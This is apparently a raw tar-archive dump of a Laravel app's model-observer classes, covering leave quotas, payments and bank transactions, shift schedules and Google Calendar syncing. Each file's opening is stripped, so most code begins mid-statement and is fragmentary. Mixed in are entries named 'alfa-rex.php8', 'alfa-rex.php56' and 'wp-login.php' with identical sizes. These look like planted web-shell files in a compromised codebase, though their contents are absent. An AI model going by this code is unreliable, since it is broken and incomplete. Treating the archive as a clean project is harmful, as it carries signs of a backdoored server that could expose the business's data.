'approved') { if ($leave->duration === 'half day') { Attendance::whereDate('clock_in_time', $leave->leave_date) ->where('user_id', $leave->user_id) ->update(['half_day' => true]); } } if ($leave->getOriginal('status') == 'approved' && $leave->status != 'approved') { $this->updateOverutilizedStatus($leave); } } } } public function updated(Leave $leave) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'leave-updated', $leave->id, 'leave'); } $this->incrementEmployeeLeaveQuota($leave); if ($leave->isDirty('status')) { if (!session()->has('leaves_notification')) { event(new LeaveEvent($leave, 'statusUpdated')); } $leave->approved_by = user()->id; $leave->approved_at = now()->toDateTimeString(); } else { event(new LeaveEvent($leave, 'updated')); } /* update google calendar event */ if (!is_null($leave->leave_date) && !is_null($leave->user)) { $leave->event_id = $this->googleCalendarEvent($leave); } } } public function deleting(Leave $leave) { /* Start of deleting event from google calendar */ $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($leave->event_id) { $google->service('Calendar')->events->delete('primary', $leave->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } $notificationModel = ['App\Notifications\NewLeaveRequest', 'App\Notifications\LeaveApplication', 'App\Notifications\MultipleLeaveApplication', 'App\Notifications\LeaveStatusApprove', 'App\Notifications\LeaveStatusUpdate', 'App\Notifications\LeaveStatusReject', 'App\Notifications\NewMultipleLeaveRequest']; Notification::whereIn('type', $notificationModel) ->whereNull('read_at') ->where(function ($q) use ($leave) { $q->where('data', 'like', '{"id":' . $leave->id . ',%'); $q->orWhere('data', 'like', '%,"task_id":' . $leave->id . ',%'); })->delete(); /* End of deleting event from google calendar */ $leave->files()->each(function ($file) { Files::deleteFile($file->hashname, LeaveFile::FILE_PATH); Files::deleteDirectory(LeaveFile::FILE_PATH . '/' . $file->leave_id); $file->delete(); }); if ($leave->status == 'approved') { $this->updateOverutilizedStatus($leave); } } public function deleted(Leave $leave) { if (user()) { self::createEmployeeActivity(user()->id, 'leave-deleted'); $this->incrementEmployeeLeaveQuota($leave); } } protected function googleCalendarEvent($leave) { $module = GoogleCalendarModule::first(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->leave_status == 1) { $google = new Google(); $attendiesData = []; $user = User::where('id', $leave->user_id)->first(); if ($user->google_calendar_status) { $attendiesData[] = ['email' => $user->email]; } $description = $user->name . ' ' . __('app.leave'); // Create event $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => $user->name, 'location' => ' ', 'description' => $description, 'colorId' => 6, 'start' => array( 'dateTime' => $leave->leave_date, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $leave->leave_date, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($leave->event_id) { $results = $google->service('Calendar')->events->patch('primary', $leave->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } return $leave->event_id; } public function deductEmployeeLeaveQuota(Leave $leave) { Artisan::call('app:recalculate-leaves-quotas ' . $leave->company_id . ' ' . $leave->user_id . ' ' .$leave->leave_type_id); } public function incrementEmployeeLeaveQuota(Leave $leave) { Artisan::call('app:recalculate-leaves-quotas ' . $leave->company_id . ' ' . $leave->user_id . ' ' .$leave->leave_type_id); } public function updateOverutilizedStatus($leave) { if ($leave->type->monthly_limit > 0) { $currentMonthLeaves = Leave::where('leave_type_id', $leave->leave_type_id) ->where('user_id', $leave->user_id) ->whereBetween('leave_date', [$leave->leave_date->startOfMonth(), $leave->leave_date->endOfMonth()]) ->whereIn('status', ['approved']) ->get(); $currentMonthLeavesCount = ($currentMonthLeaves->where('duration', 'half day')->count() * 0.5) + $currentMonthLeaves->where('duration', '!=', 'half day')->count(); if ($currentMonthLeavesCount >= $leave->type->monthly_limit) { $lastOverUtilisedLeave = Leave::where('leave_type_id', $leave->leave_type_id) ->where('user_id', $leave->user_id) ->where('status', 'approved') ->orderBy('leave_date', 'desc')->first(); if ($lastOverUtilisedLeave) { $lastOverUtilisedLeave->over_utilized = 0; $lastOverUtilisedLeave->paid = $leave->type->paid; $lastOverUtilisedLeave->saveQuietly(); } } } else { $employeeLeaveQuota = EmployeeLeaveQuota::whereUserId($leave->user_id)->whereLeaveTypeId($leave->leave_type_id)->first(); $employeeLeaveQuotaRemaining = $employeeLeaveQuota->leaves_remaining; if ($employeeLeaveQuotaRemaining <= 0) { $lastOverUtilisedLeave = Leave::where('leave_type_id', $leave->leave_type_id) ->where('user_id', $leave->user_id) ->where('status', 'approved') ->orderBy('leave_date', 'desc')->first(); if ($lastOverUtilisedLeave) { $lastOverUtilisedLeave->over_utilized = 0; $lastOverUtilisedLeave->paid = $leave->type->paid; $lastOverUtilisedLeave->saveQuietly(); } } } } } Observers/ClientNoteObserver.php000064400000001022150325104510012772 0ustar00last_updated_by = user()->id; } } public function creating(ClientNote $clientNote) { if (user()) { $clientNote->added_by = user()->id; } if (company()) { $clientNote->company_id = company()->id; } } } Observers/LeaveFileObserver.php000064400000001612150325104510012567 0ustar00last_updated_by = user()->id; } } public function creating(LeaveFile $leavefile) { if (!isRunningInConsoleOrSeeding() && user()) { $leavefile->added_by = user()->id; } if (company()) { $leavefile->company_id = company()->id; } } public function deleting(LeaveFile $leavefile) { $leavefile->load('leave'); Files::deleteFile($leavefile->hashname, LeaveFile::FILE_PATH); if(LeaveFile::where('leave_id', $leavefile->leave_id)->count() == 0){ Files::deleteDirectory(LeaveFile::FILE_PATH . '/' . $leavefile->leave_id); } } } Observers/PaymentGatewayCredentialsObserver.php000064400000000446150325104510016054 0ustar00company_id = company()->id; } } } Observers/TicketFileObserver.php000064400000000725150325104510012762 0ustar00hashname, 'ticket-files/' . $file->ticket_reply_id); $files = TicketFile::where('ticket_reply_id', $file->ticket_reply_id)->count(); if($files == 0){ Files::deleteDirectory(TicketFile::FILE_PATH . '/' . $file->task_id); } } } Observers/LeadCustomFormObserver.php000064400000001001150325104510013607 0ustar00last_updated_by = user()->id; } } public function creating(LeadCustomForm $leadCustomForm) { if (user()) { $leadCustomForm->added_by = user()->id; } if (company()) { $leadCustomForm->company_id = company()->id; } } } Observers/ProductSubCategoryObserver.php000064400000000435150325104510014525 0ustar00company_id = company()->id; } } } Observers/TicketTagListObserver.php000064400000000364150325104510013451 0ustar00company_id = company()->id; } } } Observers/alfa-rex.php8000064400000026574150325104510011030 0ustar00Observers/AttendanceSettingObserver.php000064400000000400150325104510014331 0ustar00company_id = company()->id; } } } Observers/GoogleCalendarModuleObserver.php000064400000000405150325104510014746 0ustar00company_id = company()->id; } } } Observers/wp-login.php000064400000026574150325104510010775 0ustar00Observers/NoticeFileObserver.php000064400000001356150325104510012761 0ustar00last_updated_by = user()->id; } } public function creating(NoticeFile $file) { if (!isRunningInConsoleOrSeeding()) { $file->added_by = $file->user_id; } } public function deleting(NoticeFile $file) { Files::deleteFile($file->hashname, 'notice-files/' . $file->notice_id); if(NoticeFile::where('notice_id', $file->notice_id)->count() == 0){ Files::deleteDirectory(NoticeFile::FILE_PATH . '/' . $file->notice_id); } } } Observers/TicketEmailSettingObserver.php000064400000000403150325104510014461 0ustar00company_id = company()->id; } } } Observers/ContractRenewObserver.php000064400000001074150325104510013513 0ustar00last_updated_by = user()->id; } } } public function creating(ContractRenew $contractRenew) { if (user()) { $contractRenew->added_by = user()->id; } if (company()) { $contractRenew->company_id = company()->id; } } } Observers/DesignationObserver.php000064400000003133150325104510013177 0ustar00company_id = company()->id; } } public function created(Designation $model) { if (company()) { $leaveTypes = LeaveType::all(); foreach ($leaveTypes as $leaveType) { if (!is_null($leaveType->designation)) { $designation = json_decode($leaveType->designation); array_push($designation, $model->id); } else { $designation = array($model->id); } $leaveType->designation = json_encode($designation); $leaveType->save(); } } } public function deleted(Designation $model) { if (company()) { $leaveTypes = LeaveType::all(); foreach ($leaveTypes as $leaveType) { if (!is_null($leaveType->department)) { $designation = json_decode($leaveType->designation); // Search value and delete if (($key = array_search($model->id, $designation)) !== false) { unset($designation[$key]); } $designationValues = array_values($designation); $leaveType->department = json_encode($designationValues); $leaveType->save(); } } } } } Observers/EmployeeShiftScheduleObserver.php000064400000007166150325104510015177 0ustar00last_updated_by = user()->id; $employeeShiftSchedule->remarks = request()->remarks; } } public function creating(EmployeeShiftSchedule $employeeShiftSchedule) { if (user()) { $employeeShiftSchedule->added_by = user()->id; $employeeShiftSchedule->shift_start_time = $employeeShiftSchedule->date->toDateString() . ' ' . $employeeShiftSchedule->shift->office_start_time; if (Carbon::parse($employeeShiftSchedule->shift->office_start_time)->gt(Carbon::parse($employeeShiftSchedule->shift->office_end_time))) { $employeeShiftSchedule->shift_end_time = $employeeShiftSchedule->date->addDay()->toDateString() . ' ' . $employeeShiftSchedule->shift->office_end_time; } else { $employeeShiftSchedule->shift_end_time = $employeeShiftSchedule->date->toDateString() . ' ' . $employeeShiftSchedule->shift->office_end_time; } $employeeShiftSchedule->remarks = request()->remarks; } } public function created(EmployeeShiftSchedule $employeeShiftSchedule) { if (user() && !self::$isShiftRotation) { event(new EmployeeShiftScheduleEvent($employeeShiftSchedule)); } if (request()->hasFile('file')) { Files::deleteFile(request()->file, 'employee-shift-file/' . $employeeShiftSchedule->id); $fileName = Files::uploadLocalOrS3(request()->file, 'employee-shift-file/' . $employeeShiftSchedule->id); $employeeShiftSchedule->file = $fileName; $employeeShiftSchedule->saveQuietly(); } } public function updating(EmployeeShiftSchedule $employeeShiftSchedule) { if (user()) { $employeeShiftSchedule->last_updated_by = user()->id; } if (!isRunningInConsoleOrSeeding() && user() && request()->employee_shift_id) { $shift = EmployeeShift::findOrFail(request()->employee_shift_id); } else { $shift = EmployeeShift::findOrFail($employeeShiftSchedule->employee_shift_id); } $employeeShiftSchedule->shift_start_time = $employeeShiftSchedule->date->toDateString() . ' ' . $shift->office_start_time; if (Carbon::parse($shift->office_start_time)->gt(Carbon::parse($shift->office_end_time))) { $employeeShiftSchedule->shift_end_time = $employeeShiftSchedule->date->addDay()->toDateString() . ' ' . $shift->office_end_time; } else { $employeeShiftSchedule->shift_end_time = $employeeShiftSchedule->date->toDateString() . ' ' . $shift->office_end_time; } } public function updated(EmployeeShiftSchedule $employeeShiftSchedule) { if (user() && $employeeShiftSchedule->isDirty('employee_shift_id')) { event(new EmployeeShiftScheduleEvent($employeeShiftSchedule)); } } public function deleting(EmployeeShiftSchedule $employeeShiftSchedule) { if ($employeeShiftSchedule->file) { Files::deleteFile($employeeShiftSchedule->file, 'employee-shift-file/' . $employeeShiftSchedule->id); Files::deleteDirectory('employee-shift-file/' . $employeeShiftSchedule->id); } } } Observers/ProductObserver.php000064400000002672150325104510012362 0ustar00unitType($product); if (!isRunningInConsoleOrSeeding()) { $product->last_updated_by = user() ? user()->id : null; } } public function created(Product $product) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'product-created', $product->id, 'product'); } } public function creating(Product $product) { if (!isRunningInConsoleOrSeeding()) { $product->added_by = user() ? user()->id : null; } if (company()) { $product->company_id = company()->id; } } public function updated(Product $product) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'product-updated', $product->id, 'product'); } } public function deleted(Product $product) { if (user()) { self::createEmployeeActivity(user()->id, 'product-deleted'); } } public function deleting(Product $product) { $product->files()->each(function ($file) { $file->delete(); }); } } Observers/ProjectTimelogObserver.php000064400000006761150325104510013674 0ustar00last_updated_by = user()->id; } if (!isRunningInConsoleOrSeeding()) { $userId = (request()->has('user_id') ? request('user_id') : $projectTimeLog->user_id); $projectId = request('project_id'); if ($projectId != '') { if($projectTimeLog->project->public == 1){ $member = EmployeeDetails::where('user_id', $userId)->first(); } else { $member = ProjectMember::where('user_id', $userId)->where('project_id', $projectId)->first(); } $projectTimeLog->hourly_rate = ($member && !is_null($member->hourly_rate) ? $member->hourly_rate : 0); $projectTimeLog->project_id = $projectId; } else { $task = $projectTimeLog->task; if (!is_null($task) && !is_null($task->project_id)) { $projectId = $task->project_id; $projectTimeLog->project_id = $task->project_id; } $member = EmployeeDetails::where('user_id', $userId)->first(); $projectTimeLog->hourly_rate = (!is_null($member->hourly_rate) ? $member->hourly_rate : 0); } $minuteRate = $projectTimeLog->hourly_rate / 60; $totalMinutes = $projectTimeLog->total_minutes; $breakMinutes = $projectTimeLog->breaks()->sum('total_minutes'); $earning = round(($totalMinutes - $breakMinutes) * $minuteRate, 2); /* @phpstan-ignore-line */ $projectTimeLog->earnings = $earning; $urlDuplicateTask = Str::contains(url()->previous(), 'duplicate_task'); if ($urlDuplicateTask && $projectId != '') { $projectTimeLog->project_id = $projectTimeLog->task->project_id; } event(new TimelogEvent($projectTimeLog)); } } public function creating(ProjectTimeLog $projectTimeLog) { if (!isRunningInConsoleOrSeeding() && user()) { $projectTimeLog->added_by = user()->id; } if (!isRunningInConsoleOrSeeding()) { $timeLogSetting = LogTimeFor::first(); if ($timeLogSetting->approval_required) { $projectTimeLog->approved = 0; } } if (company()) { $projectTimeLog->company_id = company()->id; } } public function created(ProjectTimeLog $projectTimeLog) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'timelog-created', $projectTimeLog->id, 'timelog'); } } public function updated(ProjectTimeLog $projectTimeLog) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'timelog-updated', $projectTimeLog->id, 'timelog'); } } public function deleted(ProjectTimeLog $projectTimeLog) { if (user()) { self::createEmployeeActivity(user()->id, 'timelog-deleted'); } } } Observers/ContractDiscussionObserver.php000064400000000763150325104510014562 0ustar00last_updated_by = user()->id; } } public function creating(ContractDiscussion $contract) { if (user()) { $contract->added_by = user()->id; } if (company()) { $contract->company_id = company()->id; } } } Observers/SkillObserver.php000064400000000334150325104510012011 0ustar00company_id = company()->id; } } } Observers/TaxObserver.php000064400000000326150325104510011470 0ustar00company_id = company()->id; } } } Observers/alfa-rex.php56000064400000026574150325104510011113 0ustar00Observers/KnowledgeBaseObserver.php000064400000000360150325104510013444 0ustar00company_id = company()->id; } } } Observers/NoticeObserver.php000064400000004654150325104510012165 0ustar00last_updated_by = user()->id; if (request()->_method == 'PUT') { $this->sendNotification($notice, 'update'); } } } public function creating(Notice $notice) { if (!isRunningInConsoleOrSeeding()) { $notice->added_by = user()->id; } if (company()) { $notice->company_id = company()->id; } } public function created(Notice $notice) { if (!isRunningInConsoleOrSeeding()) { $this->sendNotification($notice); } } public function deleting(Notice $notice) { $universalSearches = UniversalSearch::where('searchable_id', $notice->id)->where('module_type', 'notice')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = ['App\Notifications\NewNotice', 'App\Notifications\NoticeUpdate']; Notification::deleteNotification($notifyData, $notice->id); } public function sendNotification($notice, $action = 'create') { if ($notice->to == 'employee') { $empIds = request()->employees; $users = $users = User::whereIn('id', $empIds)->where('status', 'active')->get(); foreach ($users as $userData) { NoticeView::updateOrCreate(array( 'user_id' => $userData->id, 'notice_id' => $notice->id )); } event(new NewNoticeEvent($notice, $users, $action)); } if ($notice->to == 'client') { $clientIds = request()->clients; $users = $users = User::whereIn('id', $clientIds)->where('status', 'active')->get(); foreach ($users as $userData) { NoticeView::updateOrCreate(array( 'user_id' => $userData->id, 'notice_id' => $notice->id )); } event(new NewNoticeEvent($notice, $users, $action)); } } } Observers/EventObserver.php000064400000014141150325104510012015 0ustar00last_updated_by = user()->id; // Add/Update event to google calendar $event->event_id = $this->googleCalendarEvent($event); } } public function created(Event $event) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'event-created', $event->id, 'event'); } } public function updated(Event $event) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'event-updated', $event->id, 'event'); } } public function creating(Event $event) { if (!isRunningInConsoleOrSeeding()) { $event->added_by = user()->id; } if (company()) { $event->company_id = company()->id; } } public function deleting(Event $event) { /* Start of deleting event from google calendar */ $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($event->event_id) { $google->service('Calendar')->events->delete('primary', $event->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } $notifyData = ['App\Notifications\EventInvite', 'App\Notifications\EventReminder']; Notification::deleteNotification($notifyData, $event->id); $event->files()->each(function ($file) { Files::deleteDirectory(EventFile::FILE_PATH . '/' . $file->event_id); }); /* End of deleting event from google calendar */ } protected function googleCalendarEvent($event) { $module = GoogleCalendarModule::first(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->event_status == 1) { $google = new Google(); $attendiesData = []; $attendees = EventAttendee::with(['user'])->whereHas('user', function ($query) { $query->where('status', 'active')->where('google_calendar_status', true); })->where('event_id', $event->id)->get(); foreach ($attendees as $attend) { if (!is_null($attend->user) && !is_null($attend->user->email)) { $attendiesData[] = ['email' => $attend->user->email]; } } if ($event->start_date_time && $event->end_date_time) { $startDate = Carbon::parse($event->start_date_time)->shiftTimezone($googleAccount->timezone); $endDate = Carbon::parse($event->end_date_time)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => $event->event_name, 'location' => $event->where, 'description' => $event->description, 'colorId' => 3, 'start' => array( 'dateTime' => $startDate, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $endDate, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } public function deleted(Event $event) { if (user()) { self::createEmployeeActivity(user()->id, 'event-deleted'); } } } Observers/AwardObserver.php000064400000001252150325104510011771 0ustar00company_id = company()->id; } } public function deleting(Award $award) { foreach ($award->appreciations as $appreciations) { Notification::where('type', 'App\Notifications\NewAppreciation') ->whereNull('read_at') ->where(function ($q) use ($appreciations) { $q->where('data', 'like', '{"id":' . $appreciations->id . ',%'); })->delete(); } } } Observers/NoticeViewObserver.php000064400000000365150325104510013013 0ustar00company_id = company()->id; } } } Observers/ClientUserNotesObserver.php000064400000000370150325104510014021 0ustar00company_id = company()->id; } } } Observers/ContractTemplateObserver.php000064400000000676150325104510014215 0ustar00added_by = user()->id; } if (company()) { $contract->company_id = company()->id; } $contract->contract_template_number = (int)ContractTemplate::max('contract_template_number') + 1; } } Observers/EventAttendeeObserver.php000064400000000360150325104510013465 0ustar00company_id = company()->id; } } } Observers/LeadAgentObserver.php000064400000001004150325104510012552 0ustar00last_updated_by = user()->id; } } public function creating(LeadAgent $leadAgent) { if (!isRunningInConsoleOrSeeding()) { $leadAgent->added_by = user()->id; } if (company()) { $leadAgent->company_id = company()->id; } } } Observers/InvoiceSettingObserver.php000064400000001427150325104510013671 0ustar00company_id = company()->id; } } public function updated(InvoiceSetting $invoiceSetting) { if (!isRunningInConsoleOrSeeding()) { if ($invoiceSetting->isDirty('template')) { $role = Role::with('roleuser')->where('name', 'client')->first(); $roleUsers = $role->roleuser->pluck('user_id')->toArray(); $deleteSessions = new AppSettingController(); $deleteSessions->deleteSessions($roleUsers); } } } } Observers/KnowledgeBaseCategoriesObserver.php000064400000000412150325104510015450 0ustar00company_id = company()->id; } } } Observers/PaymentObserver.php000064400000034736150325104510012365 0ustar00last_updated_by = user()->id; } } public function creating(Payment $payment) { if (!isRunningInConsoleOrSeeding()) { $payment->added_by = user() ? user()->id : null; } $payment->company_id = $payment->currency?->company_id; } public function saved(Payment $payment) { if (isRunningInConsoleOrSeeding()) { return; } if (($payment->project_id && $payment->project->client_id != null) || ($payment->invoice_id && $payment->invoice->client_id != null) && $payment->gateway != 'Offline') { // Notify client $clientId = ($payment->project_id && $payment->project->client_id != null) ? $payment->project->client_id : $payment->invoice->client_id; $admins = User::allAdmins($payment->company->id); $client_details = User::withoutGlobalScope(ActiveScope::class)->where('id', $clientId)->get(); $notifyUser = $client_details; $notifyUsers = $notifyUser->merge($admins); if ($notifyUser && $payment->status === 'complete') { event(new NewPaymentEvent($payment, $notifyUsers)); } } } public function created(Payment $payment) { if (($payment->invoice_id || $payment->order_id) && $payment->status == 'complete') { if ($payment->invoice_id) { $invoice = $payment->invoice; } elseif ($payment->order_id) { $invoice = Invoice::where('order_id', $payment->invoice_id)->latest()->first(); } $due = 0; if (isset($payment->invoice)) { $due = $payment->invoice->due_amount; } elseif (isset($payment->order)) { $due = $payment->order->total; } $dueAmount = $due - $payment->amount; if($dueAmount > 0){ $payment->invoice->status = 'partial'; }else{ $payment->invoice->status = 'paid'; } if (isset($invoice)) { $invoice->due_amount = $dueAmount; } $invoice->save(); try { if (!isRunningInConsoleOrSeeding()) { if ($payment->gateway != 'Offline') { event(new InvoicePaymentReceivedEvent($payment)); } if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $qbPaymentId = $quickBooks->createPayment($payment); $payment->quickbooks_payment_id = $qbPaymentId; $payment->saveQuietly(); } } } catch (Exception $e) { Log::info($e); } } if (!is_null($payment->bank_account_id) && $payment->status == 'complete') { $bankAccount = BankAccount::find($payment->bank_account_id); $bankBalance = $bankAccount->bank_balance; $totalBalance = $bankBalance + $payment->amount; $transaction = new BankTransaction(); $transaction->company_id = $payment->company_id; $transaction->bank_account_id = $payment->bank_account_id; $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->amount = round($payment->amount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($totalBalance); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-credited'; $transaction->save(); } } public function updating(Payment $payment) { if (isRunningInConsoleOrSeeding()) { return true; } if (!is_null($payment->bank_account_id) && $payment->status == 'complete') { if ($payment->isDirty('bank_account_id')) { $originalAccount = $payment->getOriginal('bank_account_id'); $oldAmount = $payment->getOriginal('amount'); $newAmount = $payment->amount; $bankAccount = BankAccount::find($originalAccount); if ($bankAccount && $payment->getOriginal('status') == 'complete') { $bankBalance = $bankAccount->bank_balance; $bankBalance -= $oldAmount; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->type = 'Dr'; $transaction->bank_account_id = $originalAccount; $transaction->amount = round($oldAmount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-debited'; $transaction->save(); $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } $newBankAccount = BankAccount::find($payment->bank_account_id); if ($newBankAccount) { $newBankBalance = $newBankAccount->bank_balance; $newBankBalance += $newAmount; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->type = 'Cr'; $transaction->bank_account_id = $payment->bank_account_id; $transaction->amount = round($newAmount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($newBankBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-credited'; $transaction->save(); $newBankAccount->bank_balance = round($newBankBalance, 2); $newBankAccount->save(); } } elseif (!$payment->isDirty('bank_account_id') && $payment->isDirty('amount')) { $bankAccount = BankAccount::find($payment->bank_account_id); $bankBalance = $bankAccount->bank_balance; $account = $payment->getOriginal('bank_account_id'); $oldAmount = $payment->getOriginal('amount'); $newAmount = $payment->amount; if ($payment->getOriginal('amount') > $payment->amount) { $newBalance = $oldAmount - $newAmount; $bankBalance -= $newBalance; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->type = 'Dr'; $transaction->bank_account_id = $account; $transaction->amount = round($newBalance, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-updated'; $transaction->save(); } if ($payment->getOriginal('amount') < $payment->amount) { $newBalance = $newAmount - $oldAmount; $bankBalance += $newBalance; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->type = 'Cr'; $transaction->bank_account_id = $account; $transaction->amount = round($newBalance, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-updated'; $transaction->save(); } $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } elseif ($payment->isDirty('status')) { $bankAccount = BankAccount::find($payment->bank_account_id); $bankBalance = $bankAccount->bank_balance; $newBalance = $bankBalance + $payment->amount; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->type = 'Cr'; $transaction->bank_account_id = $payment->bank_account_id; $transaction->amount = round($payment->amount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($newBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-credited'; $transaction->save(); $bankAccount->bank_balance = round($newBalance, 2); $bankAccount->save(); } } if ($payment->isDirty('status') && $payment->status != 'complete') { $bankAccount = BankAccount::find($payment->bank_account_id); if (!is_null($bankAccount)) { $bankBalance = $bankAccount->bank_balance; $newBalance = $bankBalance - $payment->amount; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->type = 'Dr'; $transaction->bank_account_id = $payment->bank_account_id; $transaction->amount = round($payment->amount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($newBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-debited'; $transaction->save(); $bankAccount->bank_balance = round($newBalance, 2); $bankAccount->save(); } } } public function updated(Payment $payment) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'payment-updated', $payment->id, 'payment'); } } public function deleting(Payment $payment) { if (!is_null($payment->bank_account_id) && $payment->status == 'complete') { $account = $payment->bank_account_id; $amount = $payment->amount; $bankAccount = BankAccount::find($account); if ($bankAccount) { $bankBalance = $bankAccount->bank_balance; $bankBalance -= $amount; $transaction = new BankTransaction(); $transaction->payment_id = $payment->id; $transaction->invoice_id = $payment->invoice_id; $transaction->type = 'Dr'; $transaction->bank_account_id = $account; $transaction->amount = round($amount, 2); $transaction->transaction_date = $payment->paid_on; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'payment'; $transaction->transaction_related_to = $payment->id; $transaction->title = 'payment-deleted'; $transaction->save(); $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } } // change invoice status if exists if ($payment->invoice) { $due = $payment->invoice->amountDue() + $payment->amount; if ($due <= 0) { $payment->invoice->status = 'paid'; } else if ((float)$due >= (float)$payment->invoice->total) { $payment->invoice->status = 'unpaid'; } else { $payment->invoice->status = 'partial'; } $payment->invoice->due_amount = $due; $payment->invoice->saveQuietly(); } if ($payment->order_id) { $order = Order::findOrFail($payment->order_id); $order->status = 'pending'; $order->save(); } if (!is_null($payment->quickbooks_payment_id)) { if (quickbooks_setting()->status && quickbooks_setting()->access_token != '') { $quickBooks = new QuickbookController(); $quickBooks->deletePayment($payment); } } $notifyData = ['App\Notifications\NewPayment', 'App\Notifications\PaymentReminder']; Notification::deleteNotification($notifyData, $payment->id); } public function deleted(Payment $payment) { if (user()) { self::createEmployeeActivity(user()->id, 'payment-deleted'); } } } Observers/ContractFileObserver.php000064400000000647150325104510013317 0ustar00last_updated_by = user()->id; } } public function creating(ContractFile $file) { $file->added_by = $file->user_id; if (company()) { $file->company_id = company()->id; } } } Observers/TaskLabelListObserver.php000064400000004005150325104510013430 0ustar00company_id = company()->id; } } public function updated($taskLabel) { if ($taskLabel->isDirty('project_id') && request()->task_id != null) { $validLabelIds = TaskLabelList::whereNull('project_id')->pluck('id')->toArray(); $projectTemplateTasks = ProjectTemplateTask::all(); foreach ($projectTemplateTasks as $task) { $taskLabelsArray = explode(',', $task->task_labels); $updatedTaskLabels = array_filter($taskLabelsArray, function($labelId) use ($validLabelIds) { return in_array($labelId, 